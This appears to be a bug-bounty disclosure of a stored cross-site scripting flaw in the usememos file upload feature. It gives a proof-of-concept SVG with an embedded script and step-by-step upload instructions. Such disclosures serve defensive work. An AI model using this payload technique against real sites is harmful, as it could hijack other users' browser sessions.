Lucene search

K
huntrMike9937E1BE91D-3B13-4300-8AF2-9BD9665EC335
HistoryDec 20, 2022 - 8:15 a.m.

Stored XSS via SVG File

2022-12-2008:15:50
mike993
www.huntr.dev
20
stored xss
svg file
usememos
crafted file
direct link

0.001 Low

EPSS

Percentile

20.3%

Description

usememos has a feature to upload file and display it. By uploading a crafted SVG files, the users can perform Stored XSS attack with the image direct link.

Copy the following code and save as filename.svg.

Proof of Concept (filename.svg)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
  1. Login as user
  2. create a new post and upload the svg file
  3. save the post
  4. take the direct link of the image and open it in a new tab
  5. see XSS (example link: https://<yoursite>/o/r/8/filename.svg).

if you need more specific information, feel free to contact me.

0.001 Low

EPSS

Percentile

20.3%

Related for 7E1BE91D-3B13-4300-8AF2-9BD9665EC335